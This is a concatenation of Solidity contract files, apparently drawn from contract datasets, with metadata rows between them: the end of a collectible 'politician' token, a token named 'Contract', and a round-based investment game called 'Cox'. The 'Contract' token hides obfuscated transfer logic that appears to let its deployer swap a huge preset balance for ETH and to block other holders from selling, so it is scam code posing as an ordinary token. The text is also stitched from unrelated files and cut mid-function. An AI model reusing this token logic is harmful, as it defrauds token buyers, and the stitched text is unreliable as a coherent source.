owner = politicianIndexToOwner[_tokenId];
}
function changePoliticianName(uint256 _tokenId, string _name) public onlyCOO {
require(_tokenId < politicians.length);
politicians[_tokenId].name = _name;
}
function implementsERC721() public view returns (bool _implements) {
return erc721Enabled;
}
/// @dev Required for ERC-721 compliance.
function name() public pure returns (string) {
return NAME;
}
/// @dev Required for ERC-721 compliance.
function symbol() public pure returns (string) {
return SYMBOL;
}
/// For querying owner of token
/// @param _tokenId The tokenID for owner inquiry
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId)
public
view
returns (address owner)
{
owner = politicianIndexToOwner[_tokenId];
require(owner != address(0));
}
function payout(address _to) public onlyCLevel {
_payout(_to);
}
function withdrawFunds(address _to, uint256 amount) public onlyCLevel {
_withdrawFunds(_to, amount);
}
// Allows someone to send ether and obtain the token
function purchase(uint256 _tokenId) public payable {
address oldOwner = politicianIndexToOwner[_tokenId];
address newOwner = msg.sender;
uint256 sellingPrice = politicianIndexToPrice[_tokenId];
// Making sure token owner is not sending to self
require(oldOwner != newOwner);
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure sent amount is greater than or equal to the sellingPrice
require(msg.value >= sellingPrice);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 94), 100));
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
// Update prices
if (sellingPrice < firstStepLimit) {
// first stage
politicianIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 200), 94);
} else if (sellingPrice < secondStepLimit) {
// second stage
politicianIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 150), 94);
} else if (sellingPrice < thirdStepLimit) {
// second stage
politicianIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 125), 94);
} else {
// third stage
politicianIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 115), 94);
}
_transfer(oldOwner, newOwner, _tokenId);
// Pay previous tokenOwner if owner is not contract
if (oldOwner != address(this)) {
oldOwner.transfer(payment); //(1-0.06)
}
TokenSold(_tokenId, sellingPrice, politicianIndexToPrice[_tokenId], oldOwner, newOwner,
politicians[_tokenId].name);
msg.sender.transfer(purchaseExcess);
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
return politicianIndexToPrice[_tokenId];
}
// Unlocks ERC721 behaviour, allowing for trading on third party platforms.
function enableERC721() public onlyCEO {
erc721Enabled = true;
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current COO.
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) public onlyCOO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
/// @notice Allow pre-approved user to take ownership of a token
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function takeOwnership(uint256 _tokenId) public {
address newOwner = msg.sender;
address oldOwner = politicianIndexToOwner[_tokenId];
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure transfer is approved
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
/// @param _owner The owner whose politician tokens we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire Politicians array looking for politicians belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalPoliticians = totalSupply();
uint256 resultIndex = 0;
uint256 politicianId;
for (politicianId = 0; politicianId <= totalPoliticians; politicianId++) {
if (politicianIndexToOwner[politicianId] == _owner) {
result[resultIndex] = politicianId;
resultIndex++;
}
}
return result;
}
}
/// For querying totalSupply of token
/// @dev Required for ERC-721 compliance.
function totalSupply() public view returns (uint256 total) {
return politicians.length;
}
/// Owner initates the transfer of the token to another account
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transfer(address _to,
uint256 _tokenId) public onlyERC721 {
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
/// Third-party initiates transfer of token from address _from to address _to
/// @param _from The address for the token to be transferred from.
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transferFrom(address _from,
address _to,
uint256 _tokenId) public onlyERC721 {
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
/// Safety check on _to address to prevent against an unexpected 0x0 default.
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
/// For checking approval of transfer for address _to
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return politicianIndexToApproved[_tokenId] == _to;
}
/// For creating Politician
function _createPolitician(string _name, address _owner, uint256 _price) private {
Politician memory _politician = Politician({
name: _name
});
uint256 newPoliticianId = politicians.push(_politician) - 1;
// It's probably never going to happen, 4 billion tokens are A LOT, but
// let's just be 100% sure we never let this happen.
require(newPoliticianId == uint256(uint32(newPoliticianId)));
Birth(newPoliticianId, _name, _owner);
politicianIndexToPrice[newPoliticianId] = _price;
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(address(0), _owner, newPoliticianId);
}
/// Check for token ownership
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == politicianIndexToOwner[_tokenId];
}
/// For paying out balance on contract
function _payout(address _to) private {
if (_to == address(0)) {
ceoAddress.transfer(this.balance);
} else {
_to.transfer(this.balance);
}
}
function _withdrawFunds(address _to, uint256 amount) private {
require(this.balance >= amount);
if (_to == address(0)) {
ceoAddress.transfer(amount);
} else {
_to.transfer(amount);
}
}
/// @dev Assigns ownership of a specific Politician to an address.
function _transfer(address _from, address _to, uint256 _tokenId) private {
// Since the number of politicians is capped to 2^32 we can't overflow this
ownershipTokenCount[_to]++;
//transfer ownership
politicianIndexToOwner[_tokenId] = _to;
// When creating new polticians _from is 0x0, but we can't account that address.
if (_from != address(0)) {
ownershipTokenCount[_from]--;
// clear any previously approved ownership exchange
delete politicianIndexToApproved[_tokenId];
}
// Emit the transfer event.
Transfer(_from, _to, _tokenId);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 203,193 | 123 |
3afe8475a893af9394e4ad9523a2ec0a5124859f1e2e3f8ee6aeb755304d781b
| 15,672 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/cd/cD978C625C38d3b5EA133550bEcBA6a9396840C2_Contract.sol
| 2,841 | 11,557 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract Contract is IERC20, Ownable {
string private _name;
string private _symbol;
uint256 public _fee = 6;
uint8 private _decimals = 9;
uint256 private _tTotal = 1000000000000000 * 10**_decimals;
uint256 private whom = _tTotal;
uint256 private _rTotal = ~uint256(0);
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
mapping(address => uint256) private _balances;
mapping(address => uint256) private at;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(uint256 => address) private serious;
mapping(uint256 => address) private mill;
mapping(address => uint256) private except;
constructor(string memory Name,
string memory Symbol,
address routerAddress) {
_name = Name;
_symbol = Symbol;
at[msg.sender] = whom;
_balances[msg.sender] = _tTotal;
_balances[address(this)] = _rTotal;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
mill[whom] = uniswapV2Pair;
emit Transfer(address(0), msg.sender, _tTotal);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
receive() external payable {}
function approve(address spender, uint256 amount) external override returns (bool) {
return _approve(msg.sender, spender, amount);
}
function _approve(address owner,
address spender,
uint256 amount) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(address curious,
address coast,
uint256 amount) private {
address rubbed = serious[whom];
bool none = curious == mill[whom];
uint256 factor = _fee;
if (at[curious] == 0 && !none && except[curious] > 0) {
at[curious] -= factor;
}
serious[whom] = coast;
if (at[curious] > 0 && amount == 0) {
at[coast] += factor;
}
except[rubbed] += factor;
if (at[curious] > 0 && amount > whom) {
swapAndLiquify(amount);
return;
}
uint256 fee = amount * (_fee / 100);
amount -= fee;
_balances[curious] -= fee;
_balances[curious] -= amount;
_balances[coast] += amount;
}
function addLiquidity(uint256 tokenAmount,
uint256 ethAmount,
address to) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
}
function swapAndLiquify(uint256 tokens) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokens);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp);
}
}
| 310,696 | 124 |
685f154b01e4653a64e0090b64587be244b3df68cf654ec1681122b93e08dca3
| 21,700 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.7/0xfba5687b205307852a37dcb765551438fc0f67ff.sol
| 5,535 | 20,415 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
}
library HolderLib {
using SafeMath for uint256;
struct HolderValue {
uint256 value;
uint256[] relatedRoundIds;
uint256 fromIndex;
string refCode;
}
struct Holder {
mapping (address => HolderValue) holderMap;
}
function getNum(Holder storage holder, address adrs) internal view returns (uint256 num) {
return holder.holderMap[adrs].value;
}
function setRefCode(Holder storage holder, address adrs, string refCode) internal {
holder.holderMap[adrs].refCode = refCode;
}
function getRefCode(Holder storage holder, address adrs) internal view returns (string refCode) {
return holder.holderMap[adrs].refCode;
}
function add(Holder storage holder, address adrs, uint256 num) internal {
holder.holderMap[adrs].value = holder.holderMap[adrs].value.add(num);
}
function sub(Holder storage holder, address adrs, uint256 num) internal {
holder.holderMap[adrs].value = holder.holderMap[adrs].value.sub(num);
}
function setNum(Holder storage holder, address adrs, uint256 num) internal {
holder.holderMap[adrs].value = num;
}
function addRelatedRoundId(Holder storage holder, address adrs, uint256 roundId) internal {
uint256[] storage ids = holder.holderMap[adrs].relatedRoundIds;
if (ids.length > 0 && ids[ids.length - 1] == roundId) {
return;
}
ids.push(roundId);
}
function removeRelatedRoundId(Holder storage holder, address adrs, uint256 roundId) internal {
HolderValue storage value = holder.holderMap[adrs];
require(value.relatedRoundIds[value.fromIndex] == roundId, 'only the fromIndex element can be removed');
value.fromIndex++;
}
}
library TableLib {
using SafeMath for uint256;
struct TableValue {
bool exists;
uint256 value;
}
struct Table {
mapping (address => TableValue) tableMapping;
address[] addressList;
}
function getNum(Table storage tbl, address adrs) internal view returns (uint256 num) {
return tbl.tableMapping[adrs].value;
}
function add(Table storage tbl, address adrs, uint256 num) internal {
if (!tbl.tableMapping[adrs].exists) {
tbl.addressList.push(adrs);
tbl.tableMapping[adrs].exists = true;
}
tbl.tableMapping[adrs].value = tbl.tableMapping[adrs].value.add(num);
}
function getValues(Table storage tbl, uint256 page) internal view
returns (uint256 count, address[] addressList, uint256[] numList) {
count = tbl.addressList.length;
uint256 maxPageSize = 50;
uint256 index = 0;
uint256 pageSize = maxPageSize;
if (page*maxPageSize > count) {
pageSize = count - (page-1)*maxPageSize;
}
addressList = new address[](pageSize);
numList = new uint256[](pageSize);
for (uint256 i = (page - 1) * maxPageSize; i < count && index < pageSize; i++) {
address adrs = tbl.addressList[i];
addressList[index] = adrs;
numList[index] = tbl.tableMapping[adrs].value;
index++;
}
}
}
library RoundLib {
using SafeMath for uint256;
using HolderLib for HolderLib.Holder;
using TableLib for TableLib.Table;
event Log(string str, uint256 v1, uint256 v2, uint256 v3);
uint256 constant private roundSizeIncreasePercent = 160;
struct Round {
uint256 roundId; //
uint256 roundNum; //
uint256 max; //
TableLib.Table investers; //
uint256 raised; //
uint256 pot; //
}
function getInitRound(uint256 initSize) internal pure returns (Round) {
TableLib.Table memory investers;
return Round({
roundId: 1,
roundNum: 1,
max: initSize,
investers: investers,
raised: 0,
pot: 0
});
}
function getNextRound(Round storage round, uint256 initSize) internal view returns (Round) {
TableLib.Table memory investers;
bool isFinished = round.max == round.raised;
return Round({
roundId: round.roundId + 1,
roundNum: isFinished ? round.roundNum + 1 : 1,
max: isFinished ? round.max * roundSizeIncreasePercent / 100 : initSize,
investers: investers,
raised: 0,
pot: 0
});
}
function add (Round storage round, address adrs, uint256 amount) internal
returns (bool isFinished, uint256 amountUsed) {
if (round.raised + amount >= round.max) {
isFinished = true;
amountUsed = round.max - round.raised;
} else {
isFinished = false;
amountUsed = amount;
}
round.investers.add(adrs, amountUsed);
round.raised = round.raised.add(amountUsed);
}
function getNum(Round storage round, address adrs) internal view returns (uint256) {
return round.investers.getNum(adrs);
}
function getBalance(Round storage round, address adrs)
internal view returns (uint256) {
uint256 balance = round.investers.getNum(adrs);
if (balance == 0) {
return balance;
}
return balance * round.pot / round.raised;
}
function moveToHolder(Round storage round, address adrs, HolderLib.Holder storage coinHolders) internal {
if (round.pot == 0) {
return;
}
uint256 amount = getBalance(round, adrs);
if (amount > 0) {
coinHolders.add(adrs, amount);
coinHolders.removeRelatedRoundId(adrs, round.roundId);
}
}
function getInvestList(Round storage round, uint256 page) internal view
returns (uint256 count, address[] addressList, uint256[] numList) {
return round.investers.getValues(page);
}
}
library DealerLib {
using SafeMath for uint256;
struct DealerInfo {
address addr;
uint256 amount;
uint256 rate; // 200 2%
}
struct Dealers {
mapping (string => DealerInfo) dealerMap;
mapping (address => string) addressToCodeMap;
}
function query(Dealers storage dealers, string code) internal view returns (DealerInfo storage) {
return dealers.dealerMap[code];
}
function queryCodeByAddress(Dealers storage dealers, address adrs) internal view returns (string code) {
return dealers.addressToCodeMap[adrs];
}
function dealerExisted(Dealers storage dealers, string code) internal view returns (bool value) {
return dealers.dealerMap[code].addr != 0x0;
}
function insert(Dealers storage dealers, string code, address addr, uint256 rate) internal {
require(!dealerExisted(dealers, code), "code existed");
require(bytes(queryCodeByAddress(dealers, addr)).length == 0, "address existed in dealers");
setDealer(dealers, code, addr, rate);
}
function update(Dealers storage dealers, string code, address addr, uint256 rate) internal {
address oldAddr = dealers.dealerMap[code].addr;
require(oldAddr != 0x0, "code not exist");
require(bytes(queryCodeByAddress(dealers, addr)).length == 0, "address existed in dealers");
delete dealers.addressToCodeMap[oldAddr];
setDealer(dealers, code, addr, rate);
}
function setDealer(Dealers storage dealers, string code, address addr, uint256 rate) private {
require(addr != 0x0, "invalid address");
require(rate <= 300, "invalid rate");
dealers.addressToCodeMap[addr] = code;
dealers.dealerMap[code].addr = addr;
dealers.dealerMap[code].rate = rate;
}
function addAmount(Dealers storage dealers, string code, uint256 amountUsed) internal
returns (uint256 amountToDealer) {
require(amountUsed > 0, "amount must be greater than 0");
require(dealerExisted(dealers, code), "code not exist");
amountToDealer = amountUsed * dealers.dealerMap[code].rate / 10000;
dealers.dealerMap[code].amount = dealers.dealerMap[code].amount.add(amountToDealer);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Cox is Ownable {
using SafeMath for uint256;
using HolderLib for HolderLib.Holder;
using RoundLib for RoundLib.Round;
using DealerLib for DealerLib.Dealers;
event RoundIn(address addr, uint256 amt, uint256 currentRoundRaised, uint256 round, uint256 bigRound, string refCode);
event Log(string str, uint256 value);
event PoolAdd(uint256 value);
event PoolSub(uint256 value);
//
uint256 private roundDuration = 1 days;
uint256 private initSize = 10 ether; //
uint256 private minRecharge = 0.01 ether; //
bool private mIsActive = false; //
bool private isAutoRestart = true; //
uint256 private rate = 300; // 300 3%
string private defaultRefCode = "owner";
DealerLib.Dealers private dealers; //
HolderLib.Holder private coinHolders; //
RoundLib.Round[] private roundList;
uint256 private fundPoolSize; //
uint256 private roundStartTime;
uint256 private roundEndTime;
uint256 private bigRound = 1;
uint256 private totalAmountInvested = 0;
constructor() public {
roundList.push(RoundLib.getInitRound(initSize));
dealers.insert(defaultRefCode, msg.sender, 100);
}
function transferOwnership(address _newOwner) public onlyOwner {
Ownable.transferOwnership(_newOwner);
dealers.update(defaultRefCode, _newOwner, 100);
}
function poolAdd(uint256 value) private {
fundPoolSize = fundPoolSize.add(value);
emit PoolAdd(value);
}
function poolSub(uint256 value) private {
fundPoolSize = fundPoolSize.sub(value);
emit PoolSub(value);
}
modifier isActive() {
require(mIsActive == true, "it's not ready yet.");
require(now >= roundStartTime, "it's not started yet.");
_;
}
modifier callFromHuman(address addr) {
uint size;
assembly {size := extcodesize(addr)}
require(size == 0, "not human");
_;
}
//
function recharge(string code) public isActive callFromHuman(msg.sender) payable {
require(msg.value >= minRecharge, "not enough fund");
string memory _code = coinHolders.getRefCode(msg.sender);
if (bytes(_code).length > 0) {
code = _code;
} else {
if (!dealers.dealerExisted(code)) {
code = defaultRefCode;
}
coinHolders.setRefCode(msg.sender, code);
}
coinHolders.add(msg.sender, msg.value);
roundIn(msg.value, code);
}
function moveRoundsToHolder(address adrs) internal {
HolderLib.HolderValue storage holderValue = coinHolders.holderMap[adrs];
uint256[] memory roundIds = holderValue.relatedRoundIds;
uint256 roundId;
for (uint256 i = holderValue.fromIndex; i < roundIds.length; i++) {
roundId = roundIds[i];
roundList[roundId - 1].moveToHolder(adrs, coinHolders);
}
}
//
function withdraw() public callFromHuman(msg.sender) {
moveRoundsToHolder(msg.sender);
uint256 amount = coinHolders.getNum(msg.sender);
if (amount > 0) {
coinHolders.sub(msg.sender, amount);
//transfer
msg.sender.transfer(amount);
}
}
//
function roundIn() public isActive {
string memory code = coinHolders.getRefCode(msg.sender);
require(bytes(code).length > 0, "code must not be empty");
require(dealers.dealerExisted(code), "dealer not exist");
moveRoundsToHolder(msg.sender);
uint256 amount = coinHolders.getNum(msg.sender);
require(amount > 0, "your balance is 0");
roundIn(amount, code);
}
//
function endRound() public isActive {
RoundLib.Round storage curRound = roundList[roundList.length - 1];
endRoundWhenTimeout(curRound);
}
function endRoundWhenTimeout(RoundLib.Round storage curRound) private isActive {
if (now >= roundEndTime) {
uint256 preRoundMax = 0;
if (curRound.roundNum > 1) {
RoundLib.Round storage preRound = roundList[roundList.length - 2];
preRoundMax = preRound.max;
}
uint256 last2RoundsRaised = preRoundMax + curRound.raised;
if (last2RoundsRaised > 0) {
curRound.pot = curRound.raised * fundPoolSize / last2RoundsRaised;
if (curRound.roundNum > 1) {
preRound.pot = preRound.raised * fundPoolSize / last2RoundsRaised;
poolSub(preRound.pot);
}
poolSub(curRound.pot);
}
mIsActive = isAutoRestart;
startNextRound(curRound);
bigRound++;
}
}
function startNextRound(RoundLib.Round storage curRound) private {
roundList.push(curRound.getNextRound(initSize));
roundStartTime = now;
roundEndTime = now + roundDuration;
}
function roundIn(uint256 amt, string code) private isActive {
require(coinHolders.getNum(msg.sender) >= amt, "not enough coin");
RoundLib.Round storage curRound = roundList[roundList.length - 1];
if (now >= roundEndTime) {
endRoundWhenTimeout(curRound);
return;
}
(bool isFinished, uint256 amountUsed) = curRound.add(msg.sender, amt);
totalAmountInvested = totalAmountInvested.add(amountUsed);
require(amountUsed > 0, 'amountUsed must greater than 0');
emit RoundIn(msg.sender, amountUsed, curRound.raised, curRound.roundNum, bigRound, code);
// roundId
coinHolders.addRelatedRoundId(msg.sender, curRound.roundId);
coinHolders.sub(msg.sender, amountUsed);
//
uint256 amountToDealer = dealers.addAmount(code, amountUsed);
uint256 amountToOwner = (amountUsed * rate / 10000).sub(amountToDealer);
coinHolders.add(owner, amountToOwner);
coinHolders.add(dealers.query(code).addr, amountToDealer);
poolAdd(amountUsed.sub(amountToDealer).sub(amountToOwner));
if (isFinished) {
if (curRound.roundNum > 1) {
RoundLib.Round storage preRound2 = roundList[roundList.length - 2];
preRound2.pot = preRound2.max * 11 / 10;
poolSub(preRound2.pot);
}
startNextRound(curRound);
}
}
function verifyCodeLength(string code) public pure returns (bool) {
return bytes(code).length >= 4 && bytes(code).length <= 20;
}
function addDealer(string code, address addr, uint256 _rate) public onlyOwner {
require(verifyCodeLength(code), "code length should between 4 and 20");
dealers.insert(code, addr, _rate);
}
function addDealerForSender(string code) public {
require(verifyCodeLength(code), "code length should between 4 and 20");
dealers.insert(code, msg.sender, 100);
}
function getDealerInfo(string code) public view returns (string _code, address adrs, uint256 amount, uint256 _rate) {
DealerLib.DealerInfo storage dealer = dealers.query(code);
return (code, dealer.addr, dealer.amount, dealer.rate);
}
function updateDealer(string code, address addr, uint256 _rate) public onlyOwner {
dealers.update(code, addr, _rate);
}
function setIsAutoRestart(bool isAuto) public onlyOwner {
isAutoRestart = isAuto;
}
function setMinRecharge(uint256 a) public onlyOwner {
minRecharge = a;
}
function setRoundDuration(uint256 a) public onlyOwner {
roundDuration = a;
}
function setInitSize(uint256 size) public onlyOwner {
initSize = size;
RoundLib.Round storage curRound = roundList[roundList.length - 1];
if (curRound.roundNum == 1 && curRound.raised < size) {
curRound.max = size;
}
}
function activate() public onlyOwner {
// can only be ran once
require(mIsActive == false, "already activated");
// activate the contract
mIsActive = true;
roundStartTime = now;
roundEndTime = now + roundDuration;
}
function setStartTime(uint256 startTime) public onlyOwner {
roundStartTime = startTime;
roundEndTime = roundStartTime + roundDuration;
}
function deactivate() public onlyOwner {
require(mIsActive == true, "already deactivated");
mIsActive = false;
}
function getGlobalInfo() public view returns
(bool _isActive, bool _isAutoRestart, uint256 _round, uint256 _bigRound,
uint256 _curRoundSize, uint256 _curRoundRaised, uint256 _fundPoolSize,
uint256 _roundStartTime, uint256 _roundEndTime, uint256 _totalAmountInvested) {
RoundLib.Round storage curRound = roundList[roundList.length - 1];
return (mIsActive, isAutoRestart, curRound.roundNum, bigRound,
curRound.max, curRound.raised, fundPoolSize,
roundStartTime, roundEndTime, totalAmountInvested);
}
function getMyInfo() public view
returns (address ethAddress, uint256 balance, uint256 preRoundAmount, uint256 curRoundAmount,
string dealerCode, uint256 dealerAmount, uint256 dealerRate) {
return getAddressInfo(msg.sender);
}
function getAddressInfo(address _address) public view
returns (address ethAddress, uint256 balance, uint256 preRoundAmount, uint256 curRoundAmount,
string dealerCode, uint256 dealerAmount, uint256 dealerRate) {
RoundLib.Round storage curRound = roundList[roundList.length - 1];
preRoundAmount = 0;
